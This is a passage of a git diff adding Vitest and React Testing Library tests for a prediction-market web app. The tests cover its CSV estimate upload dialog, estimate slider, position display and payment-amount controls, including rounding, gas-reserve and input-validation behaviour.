screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { downloadTextFile } from "@/utils/download"; +import { successToast } from "@/utils/toast"; + +import { addresses } from "@/testing/fixtures"; +import type { OptionScale } from "@/types/optionScale"; + +import { useEstimateStore } from "../../stores/estimateStore"; +import { EstimateCsvDialog } from "../EstimateCsvDialog"; + +vi.mock("@/utils/download", () => ({ downloadTextFile: vi.fn() })); +vi.mock("@/utils/toast", () => ({ successToast: vi.fn() })); + +const PARENT = addresses.parentMarket; +const [FIRST, SECOND] = addresses.childMarkets; + +const scales: OptionScale[] = [ + { market: FIRST, name: "Villeneuve", color: "#009aff", unit: "$M", lowerBound: 0, upperBound: 500 }, + { market: SECOND, name: "Gerwig", color: "#ff0000", unit: "$M", lowerBound: 0, upperBound: 500 }, +]; +const marketEstimates = { [FIRST]: 312, [SECOND]: 280 }; + +const csvFile = (text: string) => new File([text], "estimates.csv", { type: "text/csv" }); + +async function openDialog() { + render( + , + ); + await userEvent.click(screen.getByRole("button", { name: "Upload estimates (CSV)" })); +} + +/** react-aria's file trigger hides its input; the upload goes straight to it. */ +const fileInput = () => document.querySelector('input[type="file"]')!; + +beforeEach(() => { + useEstimateStore.setState({ estimates: {} }); + vi.mocked(downloadTextFile).mockReset(); + vi.mocked(successToast).mockReset(); +}); + +describe("EstimateCsvDialog", () => { + it("loads every row into the session's estimates and closes", async () => { + await openDialog(); + + await userEvent.upload(fileInput(), csvFile("name,estimate\nVilleneuve,250\nGerwig,300")); + await userEvent.click(screen.getByRole("button", { name: "Load estimates" })); + + expect(useEstimateStore.getState().estimates[PARENT]).toEqual({ [FIRST]: 250, [SECOND]: 300 }); + expect(successToast).toHaveBeenCalledWith("Estimates loaded."); + expect(screen.queryByRole("dialog")).toBeNull(); + }); + + it("treats a row at the market's own number as no estimate", async () => { + useEstimateStore.getState().setEstimate(PARENT, FIRST, 250); + await openDialog(); + + await userEvent.upload(fileInput(), csvFile("name,estimate\nVilleneuve,312\nGerwig,300")); + await userEvent.click(screen.getByRole("button", { name: "Load estimates" })); + + expect(useEstimateStore.getState().estimates[PARENT]).toEqual({ [SECOND]: 300 }); + }); + + it("refuses a bad file, names the row, and keeps the dialog open with nothing loaded", async () => { + await openDialog(); + + await userEvent.upload(fileInput(), csvFile("name,estimate\nVilleneuve,250\nNolan,250")); + await userEvent.click(screen.getByRole("button", { name: "Load estimates" })); + + expect(screen.getByText('Row 3: there is no option named "Nolan".')).toBeInTheDocument(); + expect(useEstimateStore.getState().estimates).toEqual({}); + expect(screen.getByRole("dialog")).toBeInTheDocument(); + }); + + it("offers a template with your estimate where set and an empty cell otherwise", async () => { + useEstimateStore.getState().setEstimate(PARENT, FIRST, 250); + await openDialog(); + + await userEvent.click(screen.getByRole("button", { name: "Download CSV template" })); + + expect(downloadTextFile).toHaveBeenCalledWith( + "estimates-template.csv", + "\uFEFFname,estimate\nVilleneuve,250\nGerwig,", + "text/csv", + ); + }); + + it("stores only the row edited in a template taken while the market was unknown", async () => { + render(); + await userEvent.click(screen.getByRole("button", { name: "Upload estimates (CSV)" })); + await userEvent.click(screen.getByRole("button", { name: "Download CSV template" })); + const template = vi.mocked(downloadTextFile).mock.calls[0]![1]; + + await userEvent.upload(fileInput(), csvFile(template.replace(/^Villeneuve,.*$/m, "Villeneuve,300"))); + await userEvent.click(screen.getByRole("button", { name: "Load estimates" })); + + expect(useEstimateStore.getState().estimates[PARENT] ?? {}).toEqual({ [FIRST]: 300 }); + }); + + it("stores nothing from an untouched template after the market has moved", async () => { + const { rerender } = render( + , + ); + await userEvent.click(screen.getByRole("button", { name: "Upload estimates (CSV)" })); + await userEvent.click(screen.getByRole("button", { name: "Download CSV template" })); + const template = vi.mocked(downloadTextFile).mock.calls[0]![1]; + rerender( + , + ); + + await userEvent.upload(fileInput(), csvFile(template)); + await userEvent.click(screen.getByRole("button", { name: "Load estimates" })); + + expect(useEstimateStore.getState().estimates[PARENT] ?? {}).toEqual({}); + }); + + it("leaves a saved estimate alone whose row is left empty", async () => { + useEstimateStore.getState().setEstimate(PARENT, FIRST, 250); + await openDialog(); + + await userEvent.upload(fileInput(), csvFile("name,estimate\nVilleneuve,\nGerwig,300")); + await userEvent.click(screen.getByRole("button", { name: "Load estimates" })); + + expect(useEstimateStore.getState().estimates[PARENT]).toEqual({ [FIRST]: 250, [SECOND]: 300 }); + }); + + it("cannot load before a file is chosen", async () => { + await openDialog(); + + expect(screen.getByRole("button", { name: "Load estimates" })).toBeDisabled(); + }); +}); diff --git a/apps/web/src/features/predict/components/__tests__/EstimateSlider.test.tsx b/apps/web/src/features/predict/components/__tests__/EstimateSlider.test.tsx new file mode 100644 index 00000000..faa58df5 --- /dev/null +++ b/apps/web/src/features/predict/components/__tests__/EstimateSlider.test.tsx @@ -0,0 +1,496 @@ +import { render, screen, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, expect, it, vi } from "vitest"; + +import { addresses } from "@/testing/fixtures"; +import type { OptionScale } from "@/types/optionScale"; + +import { EstimateSlider } from "../EstimateSlider"; + +const scale: OptionScale = { + market: addresses.childMarkets[0], + name: "Greta Gerwig", + color: "#009aff", + unit: "$M", + lowerBound: 0, + upperBound: 500, +}; +const MARKET = 312; + +function renderSlider( + value: number | undefined, + extra: { lockedReason?: string; scale?: OptionScale; marketEstimate?: number; isMarketPending?: boolean } = {}, +) { + const onCommit = vi.fn(); + const onClear = vi.fn(); + const rendered = render( + , + ); + return { ...rendered, onCommit, onClear }; +} + +const fill = (container: HTMLElement) => container.querySelector("#slider-fill")!; +// react-aria puts the thumb's id on its input, so the drawn thumb is found as the label's parent +const thumb = (container: HTMLElement) => container.querySelector("#slider-label")!.parentElement!; +const pin = () => screen.getByTestId("market-pin"); +const pill = () => screen.getByRole("button", { name: /, type your estimate for Greta Gerwig$/ }); +const field = () => screen.getByRole("textbox", { name: "Your estimate for Greta Gerwig" }); + +describe("EstimateSlider colours", () => { + it("colours the gap to the market and rims the thumb in the up colour above the market", () => { + const { container } = renderSlider(400); + + expect(screen.getByTestId("estimate-span").style.backgroundColor).toBe("var(--fs-estimate-up)"); + expect(fill(container).style.backgroundColor).toBe("transparent"); + expect(thumb(container).style.borderColor).toBe("var(--fs-estimate-up)"); + }); + + it("colours the gap to the market and rims the thumb in the down colour below the market", () => { + const { container } = renderSlider(200); + + expect(screen.getByTestId("estimate-span").style.backgroundColor).toBe("var(--fs-estimate-down)"); + expect(fill(container).style.backgroundColor).toBe("transparent"); + expect(thumb(container).style.borderColor).toBe("var(--fs-estimate-down)"); + }); + + it("keeps the library's own colour at the market", () => { + const { container } = renderSlider(undefined); + + expect(fill(container).style.backgroundColor).not.toMatch(/fs-estimate/); + }); + + it("keeps the library's own colour while the slider is locked", () => { + const { container } = renderSlider(400, { lockedReason: "Trading has closed." }); + + expect(fill(container).style.backgroundColor).not.toMatch(/fs-estimate/); + }); +}); + +describe("EstimateSlider market pin", () => { + // jsdom measures nothing, so the drop at a distance is covered by marketPin's tests and the e2e spec + it("sits under the track with no estimate set, the thumb resting on the market", () => { + renderSlider(undefined); + + expect(pin()).toHaveAttribute("data-placement", "down"); + }); + + it("stands above the track with the thumb away from the market", () => { + renderSlider(400); + + expect(pin()).toHaveAttribute("data-placement", "up"); + }); + + it("names the market's number on the pin", () => { + renderSlider(400); + + const captions = within(pin()).getAllByText("Market"); + expect(captions.filter((caption) => caption.getAttribute("aria-hidden") !== "true")).toHaveLength(1); + expect(screen.getByTestId("market-chip")).toHaveTextContent("312 $M"); + }); +}); + +describe("EstimateSlider bounds", () => { + it("names the last point on the grid as the upper bound, where the bound is between two", () => { + const { container } = renderSlider(40, { scale: { ...scale, upperBound: 123.456 }, marketEstimate: 60 }); + + expect(container.querySelector('[data-bound="lower"]')).toHaveTextContent("0 $M"); + expect(container.querySelector('[data-bound="upper"]')).toHaveTextContent("123 $M"); + }); +}); + +describe("EstimateSlider market chip before the track is measured", () => { + // jsdom lays nothing out, so the chip is always in its unmeasured place here + it("stays on the track with the market at either bound", () => { + for (const [market, shift] of [ + [500, "-100%"], + [0, "-0%"], + [125, "-25%"], + ] as const) { + const { unmount } = renderSlider(undefined, { marketEstimate: market }); + expect(screen.getByTestId("market-chip").parentElement!.style.transform).toBe(`translateX(${shift})`); + unmount(); + } + }); +}); + +describe("EstimateSlider value pill", () => { + it("shows the estimate above the thumb", () => { + renderSlider(400); + + expect(pill()).toHaveTextContent("400 $M"); + }); + + it("shows the market's number while no estimate is set", () => { + renderSlider(undefined); + + expect(pill()).toHaveTextContent("312 $M"); + }); + + it("is reached by Tab from the slider, and opens as a field holding the value", async () => { + renderSlider(400); + + screen.getByRole("slider").focus(); + await userEvent.tab(); + expect(pill()).toHaveFocus(); + await userEvent.keyboard("{Enter}"); + + expect(field()).toHaveFocus(); + expect(field()).toHaveValue("400"); + }); + + it("opens with the value ungrouped, so it reads back as a number", async () => { + renderSlider(1234, { scale: { ...scale, upperBound: 5000 }, marketEstimate: 3000 }); + + await userEvent.click(screen.getByRole("button", { name: /type your estimate/ })); + + expect(field()).toHaveValue("1234"); + }); + + it("leaves the thumb and the estimate alone while a number is typed", async () => { + const { onCommit } = renderSlider(400); + + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "250"); + + expect(onCommit).not.toHaveBeenCalled(); + expect(screen.getByRole("slider")).toHaveValue("400"); + }); + + it("commits a typed number on Enter and hands focus back to the pill", async () => { + const { onCommit } = renderSlider(400); + + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "250{Enter}"); + + expect(onCommit.mock.calls).toEqual([[250]]); + expect(pill()).toHaveFocus(); + }); + + it("commits a typed number when the field loses focus", async () => { + const { onCommit } = renderSlider(400); + + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "250"); + await userEvent.tab(); + + expect(onCommit).toHaveBeenCalledWith(250); + expect(screen.queryByRole("textbox")).toBeNull(); + }); + + it("drops a typed number on Escape and hands focus back to the pill", async () => { + const { onCommit } = renderSlider(400); + + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "250{Escape}"); + + expect(onCommit).not.toHaveBeenCalled(); + expect(pill()).toHaveFocus(); + expect(pill()).toHaveTextContent("400 $M"); + }); + + it("takes the unit and grouping commas along with the number", async () => { + const { onCommit } = renderSlider(400, { scale: { ...scale, upperBound: 5000 }, marketEstimate: 3000 }); + + await userEvent.click(screen.getByRole("button", { name: /type your estimate/ })); + await userEvent.clear(field()); + await userEvent.type(field(), "1,250 $M{Enter}"); + + expect(onCommit).toHaveBeenCalledWith(1250); + }); + + it("puts a number on the option's grid", async () => { + const { onCommit } = renderSlider(400); + + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "250.4{Enter}"); + + expect(onCommit).toHaveBeenCalledWith(250); + expect(screen.getByRole("status")).toHaveTextContent("Rounded to 250 $M."); + }); + + it("reads a lone comma as the decimal point", async () => { + const percent = { ...scale, unit: "%", upperBound: 100 }; + const { onCommit } = renderSlider(40, { scale: percent, marketEstimate: 75 }); + + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "7,5{Enter}"); + + expect(onCommit).toHaveBeenCalledWith(8); + expect(screen.getByRole("status")).toHaveTextContent("Rounded to 8 %."); + }); + + it("says nothing when a typed number is already on the grid", async () => { + renderSlider(400); + + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "250{Enter}"); + + expect(screen.getByRole("status")).toBeEmptyDOMElement(); + }); + + it("holds a number above the range to the top and says so", async () => { + const { onCommit } = renderSlider(400); + + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "900{Enter}"); + + expect(onCommit).toHaveBeenCalledWith(500); + expect(screen.getByRole("status")).toHaveTextContent("The most is 500 $M."); + }); + + it("holds a number below the range to the bottom and says so", async () => { + const { onCommit } = renderSlider(400); + + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "-20{Enter}"); + + expect(onCommit).toHaveBeenCalledWith(0); + expect(screen.getByRole("status")).toHaveTextContent("The least is 0 $M."); + }); + + it("names the saved value in the scale's own digits", async () => { + const fine = { ...scale, unit: null, lowerBound: 0.1, upperBound: 0.6 }; + const { onCommit } = renderSlider(0.2, { scale: fine, marketEstimate: 0.3 }); + + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "0.4567{Enter}"); + + expect(onCommit).toHaveBeenCalledWith(0.457); + expect(screen.getByRole("status")).toHaveTextContent("Rounded to 0.457."); + }); + + it("names the last point on the grid as the most, where the bound is between two", async () => { + const ragged = { ...scale, upperBound: 123.456 }; + const { onCommit } = renderSlider(40, { scale: ragged, marketEstimate: 60 }); + + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "999{Enter}"); + + expect(onCommit).toHaveBeenCalledWith(123); + expect(screen.getByRole("status")).toHaveTextContent("The most is 123 $M."); + }); + + it("refuses text that is not a number on Enter and keeps the field open", async () => { + const { onCommit } = renderSlider(400); + + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "lots{Enter}"); + + expect(onCommit).not.toHaveBeenCalled(); + expect(field()).toHaveFocus(); + expect(screen.getByRole("status")).toHaveTextContent("Enter a number."); + }); + + it("refuses hex and exponent notation", async () => { + const { onCommit } = renderSlider(400); + + for (const text of ["0x32", "1e2"]) { + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), `${text}{Enter}`); + expect(screen.getByRole("status")).toHaveTextContent("Enter a number."); + await userEvent.keyboard("{Escape}"); + } + expect(onCommit).not.toHaveBeenCalled(); + }); + + it("opens a tiny estimate as the plain decimal it then accepts", async () => { + const tiny: OptionScale = { ...scale, unit: null, lowerBound: 0, upperBound: 0.000001 }; + renderSlider(0.00000005, { scale: tiny, marketEstimate: 0.0000005 }); + + await userEvent.click(screen.getByRole("button", { name: /type your estimate/ })); + expect(field()).toHaveValue("0.00000005"); + await userEvent.keyboard("{Enter}"); + + expect(screen.queryByText("Enter a number.")).toBeNull(); + }); + + it("is named by the value it shows, then what it does", () => { + renderSlider(400); + + expect(screen.getByRole("button", { name: "400 $M, type your estimate for Greta Gerwig" })).toBeInTheDocument(); + }); + + it("drops an open field when the slider locks, and does not reopen it when it unlocks", async () => { + const props = { + scale, + marketEstimate: MARKET, + isMarketPending: false, + value: 400, + onCommit: vi.fn(), + onClear: vi.fn(), + }; + const { rerender } = render(); + + await userEvent.click(pill()); + rerender(); + rerender(); + + expect(screen.queryByRole("textbox")).toBeNull(); + expect(pill()).toBeInTheDocument(); + expect(props.onCommit).not.toHaveBeenCalled(); + }); + + it("keeps the estimate when the field loses focus holding no number", async () => { + const { onCommit } = renderSlider(400); + + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "lots"); + await userEvent.tab(); + + expect(onCommit).not.toHaveBeenCalled(); + expect(pill()).toHaveTextContent("400 $M"); + }); + + it("clears the estimate when the market's own number is typed", async () => { + const { onCommit, onClear } = renderSlider(400); + + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), `${MARKET}{Enter}`); + + expect(onClear).toHaveBeenCalled(); + expect(onCommit).not.toHaveBeenCalled(); + }); + + it("still shows a saved estimate on a locked slider, without offering to type it", () => { + renderSlider(400, { lockedReason: "Trading has closed." }); + + expect(screen.getByTestId("value-pill")).toHaveTextContent("400 $M"); + expect(screen.queryByRole("button", { name: /type your estimate/ })).toBeNull(); + }); + + it("shows no value on a slider whose option has no trading", () => { + renderSlider(undefined, { marketEstimate: undefined }); + + expect(screen.queryByTestId("value-pill")).toBeNull(); + }); + + it("is not offered while the slider is locked", () => { + renderSlider(400, { lockedReason: "Trading has closed." }); + + expect(screen.queryByRole("button", { name: /type your estimate/ })).toBeNull(); + }); +}); + +describe("EstimateSlider note", () => { + it("keeps an empty live region in place before any note", () => { + renderSlider(400); + + expect(screen.getByRole("status")).toBeEmptyDOMElement(); + }); + + const refuse = async () => { + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "lots{Enter}"); + expect(screen.getByRole("status")).toHaveTextContent("Enter a number."); + }; + + it("drops a refusal on Escape, bringing the hint back", async () => { + renderSlider(400); + await refuse(); + + await userEvent.keyboard("{Escape}"); + + expect(screen.getByRole("status")).toBeEmptyDOMElement(); + expect(screen.getByText("88 $M above the market")).toBeInTheDocument(); + }); + + it("drops a refusal when the field closes on a blur", async () => { + renderSlider(400); + await refuse(); + + await userEvent.tab(); + + expect(screen.getByRole("status")).toBeEmptyDOMElement(); + expect(screen.getByText("88 $M above the market")).toBeInTheDocument(); + }); + + const round = async () => { + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "250.4{Enter}"); + expect(screen.getByRole("status")).toHaveTextContent("Rounded to 250 $M."); + expect(pill()).toHaveFocus(); + }; + + it("gives the line back to the hint once focus moves on", async () => { + renderSlider(400); + await round(); + + await userEvent.tab(); + + expect(screen.getByRole("status")).toBeEmptyDOMElement(); + expect(screen.getByText("88 $M above the market")).toBeInTheDocument(); + }); + + it("gives the line back to the hint at the next press", async () => { + renderSlider(400); + await round(); + + await userEvent.click(document.body); + + expect(screen.getByRole("status")).toBeEmptyDOMElement(); + }); + + it("stays for a note applied by a blur, until the next press", async () => { + renderSlider(400); + await userEvent.click(pill()); + await userEvent.clear(field()); + await userEvent.type(field(), "250.4"); + + await userEvent.click(document.body); + expect(screen.getByRole("status")).toHaveTextContent("Rounded to 250 $M."); + + await userEvent.click(document.body); + expect(screen.getByRole("status")).toBeEmptyDOMElement(); + }); +}); + +describe("EstimateSlider hint", () => { + it("says how far above the market the estimate sits", () => { + renderSlider(400); + + expect(screen.getByText("88 $M above the market")).toBeInTheDocument(); + }); + + it("says how far below the market the estimate sits", () => { + renderSlider(250); + + expect(screen.getByText("62 $M below the market")).toBeInTheDocument(); + }); + + it("says when the option has no trading", () => { + renderSlider(undefined, { marketEstimate: undefined }); + + expect(screen.getByText("No trading on this option yet.")).toBeInTheDocument(); + }); + + it("says the market is loading", () => { + renderSlider(undefined, { marketEstimate: undefined, isMarketPending: true }); + + expect(screen.getByText("Loading the market…")).toBeInTheDocument(); + }); +}); diff --git a/apps/web/src/features/predict/components/__tests__/PositionRow.test.tsx b/apps/web/src/features/predict/components/__tests__/PositionRow.test.tsx new file mode 100644 index 00000000..48772780 --- /dev/null +++ b/apps/web/src/features/predict/components/__tests__/PositionRow.test.tsx @@ -0,0 +1,113 @@ +import { render, screen } from "@testing-library/react"; +import { describe, expect, it } from "vitest"; + +import { addresses } from "@/testing/fixtures"; +import type { OptionScale } from "@/types/optionScale"; + +import { PositionRow } from "../PositionRow"; + +const WAD = 10n ** 18n; +const scale: OptionScale = { + market: addresses.childMarkets[0], + name: "Movie A", + color: "#009aff", + unit: "%", + lowerBound: 0, + upperBound: 100, +}; + +describe("PositionRow", () => { + it('names the UP and DOWN held on one line after "You hold", with no bar', () => { + render( + , + ); + + expect(screen.getByTestId("position-held")).toHaveTextContent(/^214\.09 UP · 1\.44 DOWN$/); + expect(screen.getByTestId("position-held").parentElement).toHaveTextContent(/^You hold 214\.09 UP · 1\.44 DOWN$/); + expect(screen.queryByTestId("position-bar-up")).toBeNull(); + expect(screen.queryByTestId("position-bar-down")).toBeNull(); + }); + + it("groups a large holding in threes", () => { + render( + , + ); + + expect(screen.getByText("1,234,567 UP")).toBeInTheDocument(); + }); + + it("values the position at the market estimate, in the option's own tokens", () => { + // at 75 of 0-100: 200 UP pay 150 and 40 DOWN pay 10 + render( + , + ); + + expect(screen.getByText("≈ 160 tokens")).toBeInTheDocument(); + }); + + it("leaves the value out while the market estimate is unknown", () => { + render( + , + ); + + expect(screen.queryByText(/^≈/)).toBeNull(); + }); + + it("says an estimate on the position's side adds to it", () => { + render( + , + ); + + expect(screen.getByText("87 % adds to UP")).toBeInTheDocument(); + }); + + it("says an estimate on the other side sells some of the position", () => { + render( + , + ); + + expect(screen.getByText("55 % sells some UP")).toBeInTheDocument(); + }); + + it("says nothing of an estimate against a position held evenly", () => { + render( + , + ); + + expect(screen.queryByText(/adds to|sells/)).toBeNull(); + }); + + it("holds an empty line where the estimate's effect goes while no estimate is set", () => { + render(); + + expect(screen.getByTestId("position-consequence")).toBeEmptyDOMElement(); + }); +}); diff --git a/apps/web/src/features/predict/components/__tests__/PredictAmountSection.test.tsx b/apps/web/src/features/predict/components/__tests__/PredictAmountSection.test.tsx new file mode 100644 index 00000000..1c97cb65 --- /dev/null +++ b/apps/web/src/features/predict/components/__tests__/PredictAmountSection.test.tsx @@ -0,0 +1,417 @@ +import { useState } from "react"; + +import { fireEvent, render, screen, waitFor } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { parseUnits } from "viem"; +import { describe, expect, it, vi } from "vitest"; + +import { OWNED_DECIMALS } from "@/utils/amount"; + +import { GAS_RESERVE_WEI } from "../../oracle/tolerances"; +import { planFunding } from "../../utils/funding"; +import { PredictAmountSection, type PayTokenChoice } from "../PredictAmountSection"; + +const WAD = 10n ** 18n; +const STEP = 10n ** BigInt(18 - OWNED_DECIMALS); + +const sDai: PayTokenChoice = { id: "collateral", symbol: "sDAI", decimals: 18 }; +const xDai: PayTokenChoice = { id: "native", symbol: "xDAI", decimals: 18 }; + +// 1.25 xDAI per sDAI +const RATE = (5n * WAD) / 4n; + +/** A wallet holding only `held` of the pay token, with an empty trade wallet. */ +function renderSection(token: PayTokenChoice, held: bigint) { + const funding = planFunding({ + amount: 0n, + ownWallet: held, + tradeWallet: 0n, + tokenPerCollateralWad: token.id === "native" ? RATE : undefined, + }); + const onAmountChange = vi.fn(); + render( + , + ); + return onAmountChange; +} + +function lastAmount(onAmountChange: ReturnType): bigint { + const call = onAmountChange.mock.calls.at(-1); + expect(call).toBeDefined(); + return call![0] as bigint; +} + +const decimalsOf = (amount: bigint) => amount.toString().padStart(19, "0").slice(-18).replace(/0+$/, "").length; + +// balances with more decimals than the field shows +const wallets = [ + { name: "sDAI", token: sDai, held: 7_777_777_777_777_777_777n, spendable: 7_777_777_777_777_777_777n }, + { + name: "xDAI", + token: xDai, + held: 1_234_567_890_123_456_789n, + spendable: 1_234_567_890_123_456_789n - GAS_RESERVE_WEI, + }, + { + name: "xDAI, under one", + token: xDai, + held: 345_678_901_234_567_891n, + spendable: 345_678_901_234_567_891n - GAS_RESERVE_WEI, + }, +]; + +describe.each(wallets)("Max and 50% with only $name in the wallet", ({ token, held, spendable }) => { + it(`Max fills at most ${OWNED_DECIMALS} decimals, rounded down from what can be spent`, async () => { + const onAmountChange = renderSection(token, held); + + await userEvent.click(screen.getByRole("button", { name: "Max" })); + + const amount = lastAmount(onAmountChange); + expect(decimalsOf(amount)).toBeLessThanOrEqual(OWNED_DECIMALS); + expect(amount).toBeLessThanOrEqual(spendable); + expect(spendable - amount).toBeLessThan(STEP); + }); + + it("Max fills exactly the balance it shows", async () => { + const onAmountChange = renderSection(token, held); + const shown = screen.getByTitle(/^Balance: /).textContent!.match(/^Balance: ([\d,.]+) /)![1]!; + + await userEvent.click(screen.getByRole("button", { name: "Max" })); + + expect(lastAmount(onAmountChange)).toBe(parseUnits(shown.replace(/,/g, ""), token.decimals)); + }); + + it(`50% fills at most ${OWNED_DECIMALS} decimals, rounded down from half of what can be spent`, () => { + const onAmountChange = renderSection(token, held); + + fireEvent.change(screen.getByRole("slider"), { target: { value: "50" } }); + + const amount = lastAmount(onAmountChange); + const half = spendable / 2n; + expect(decimalsOf(amount)).toBeLessThanOrEqual(OWNED_DECIMALS); + expect(amount).toBeLessThanOrEqual(half); + expect(half - amount).toBeLessThan(2n * STEP); + }); +}); + +describe("Max on an xDAI wallet holding no more than the gas reserve", () => { + it("never offers any of the reserve", async () => { + const onAmountChange = renderSection(xDai, GAS_RESERVE_WEI / 2n); + + const max = screen.getByRole("button", { name: "Max" }); + if (!max.hasAttribute("disabled")) await userEvent.click(max); + + for (const [amount] of onAmountChange.mock.calls) expect(amount ?? 0n).toBe(0n); + }); +}); + +describe("Max and 50% on a wallet of 1.234567890123456789 xDAI", () => { + it("Max fills 1.2245 xDAI: 0.01 kept for gas, the rest cut to 4 decimals", async () => { + const onAmountChange = renderSection(xDai, 1_234_567_890_123_456_789n); + + await userEvent.click(screen.getByRole("button", { name: "Max" })); + + expect(lastAmount(onAmountChange)).toBe(1_224_500_000_000_000_000n); + }); + + it("50% fills 0.6122 xDAI, half of 1.2245 cut to 4 decimals", () => { + const onAmountChange = renderSection(xDai, 1_234_567_890_123_456_789n); + + fireEvent.change(screen.getByRole("slider"), { target: { value: "50" } }); + + expect(lastAmount(onAmountChange)).toBe(612_200_000_000_000_000n); + }); +}); + +describe("75% on a wallet of 1.234567890123456789 xDAI", () => { + it("fills 0.9183 xDAI, three quarters of what Max fills cut to 4 decimals", () => { + const onAmountChange = renderSection(xDai, 1_234_567_890_123_456_789n); + + fireEvent.change(screen.getByRole("slider"), { target: { value: "75" } }); + + expect(lastAmount(onAmountChange)).toBe(918_300_000_000_000_000n); + }); +}); + +describe("Max and 50% on a wallet of 1.234567 of a 6-decimal token", () => { + const usdc: PayTokenChoice = { id: "collateral", symbol: "USDC", decimals: 6 }; + + it("Max fills 1.2345, cut to 4 of the token's 6 decimals", async () => { + const onAmountChange = renderSection(usdc, 1_234_567n); + + await userEvent.click(screen.getByRole("button", { name: "Max" })); + + expect(lastAmount(onAmountChange)).toBe(1_234_500n); + }); + + it("50% fills 0.6172, half of 1.2345 cut to 4 decimals", () => { + const onAmountChange = renderSection(usdc, 1_234_567n); + + fireEvent.change(screen.getByRole("slider"), { target: { value: "50" } }); + + expect(lastAmount(onAmountChange)).toBe(617_200n); + }); +}); + +describe("the amount field", () => { + it("is named Amount for assistive tech", () => { + renderSection(sDai, 10n ** 18n); + + expect(screen.getByLabelText("Amount")).toBeInTheDocument(); + }); +}); + +/** The section as the popup holds it: the amount it reports is the amount it is given back. */ +function Held({ + initial, + held, + onAmountChange, +}: { + initial?: bigint; + held: bigint; + onAmountChange: (amount: bigint | undefined) => void; +}) { + const [amount, setAmount] = useState(initial); + return ( + { + onAmountChange(next); + setAmount(next); + }} + tokens={[sDai]} + token={sDai} + onTokenChange={vi.fn()} + funding={planFunding({ amount: amount ?? 0n, ownWallet: held, tradeWallet: 0n })} + collateral={{ symbol: "sDAI", decimals: 18 }} + isFirstPrediction + isReadOnly={false} + /> + ); +} + +describe("the amount's digits", () => { + // the library groups on its own blur, and on a 3s timer; a read within a second tells the two apart + const grouped = { timeout: 1000 }; + + it("group a value Max sets at once, as its balance beside it is grouped", async () => { + render(); + + await userEvent.click(screen.getByRole("button", { name: "Max" })); + + await waitFor(() => expect(screen.getByLabelText("Amount")).toHaveValue("123,456,789"), grouped); + }); + + it("group a value set from outside the field, its fraction whole", async () => { + const props = { + onAmountChange: vi.fn(), + tokens: [sDai], + token: sDai, + onTokenChange: vi.fn(), + funding: planFunding({ amount: 0n, ownWallet: 10n * WAD, tradeWallet: 0n }), + collateral: { symbol: "sDAI", decimals: 18 }, + isFirstPrediction: true, + isReadOnly: false, + }; + const view = render(); + + view.rerender(); + + await waitFor(() => expect(screen.getByLabelText("Amount")).toHaveValue("1,234,567.000000000000000001"), grouped); + }); + + it("stay ungrouped while typed, report exactly what was typed, and group once the field is left", async () => { + const onAmountChange = vi.fn(); + render(); + const input = screen.getByLabelText("Amount"); + + await userEvent.type(input, "1234567.25"); + expect(input).toHaveValue("1234567.25"); + expect(lastAmount(onAmountChange)).toBe(parseUnits("1234567.25", 18)); + + await userEvent.tab(); + await waitFor(() => expect(input).toHaveValue("1,234,567.25"), grouped); + + // back in the field, a digit typed at the start lands at the caret + await userEvent.type(input, "9", { initialSelectionStart: 0, initialSelectionEnd: 0 }); + expect(input).toHaveValue("91234567.25"); + expect(lastAmount(onAmountChange)).toBe(parseUnits("91234567.25", 18)); + }); + + it("take a pasted amount as typed", async () => { + const onAmountChange = vi.fn(); + render(); + const input = screen.getByLabelText("Amount"); + + await userEvent.click(input); + await userEvent.paste("2500.5"); + expect(lastAmount(onAmountChange)).toBe(parseUnits("2500.5", 18)); + + await userEvent.tab(); + await waitFor(() => expect(input).toHaveValue("2,500.5"), grouped); + }); +}); + +describe("the total line", () => { + it("names a part too small to show rather than saying 0", () => { + const funding = planFunding({ amount: 4n * WAD + 1n, ownWallet: 10n * WAD, tradeWallet: 4n * WAD }); + render( + , + ); + + expect(screen.getByText(/in your trade wallet/)).toHaveTextContent( + `4 sDAI = 4 in your trade wallet + less than ${1 / 10 ** OWNED_DECIMALS} from your wallet`, + ); + }); +}); + +describe("a locked amount", () => { + // jsdom computes no Tailwind, so the dimmed look is read from the class on each control's root + it.each([true, false])("dims the field and the slider only when locked (%s)", (isReadOnly) => { + render( + , + ); + + for (const id of ["amount-input", "amount-slider"]) + expect(screen.getByTestId(id).classList.contains("opacity-50")).toBe(isReadOnly); + }); +}); + +describe("an empty balance", () => { + it("dims the share slider, which has nothing to share out", () => { + renderSection(sDai, 0n); + + expect(screen.getByTestId("amount-slider").classList.contains("opacity-50")).toBe(true); + }); +}); + +describe("an amount over the balance", () => { + // jsdom computes no Tailwind, so the error variant is read from the border class the field gets for it + it.each([ + [false, true], + [true, false], + ])("marks the field as an error only while it can be changed (locked: %s)", (isReadOnly, isError) => { + render( + , + ); + + expect(screen.getByLabelText("Amount").classList.contains("border-klerosUIComponentsError")).toBe(isError); + }); +}); + +function renderReturning(extra: { isReadOnly?: boolean; note?: string; isDisconnected?: boolean } = {}) { + render( + , + ); +} + +describe("a returning predictor", () => { + it.each([false, true])("is told they can change it without adding funds (running: %s)", 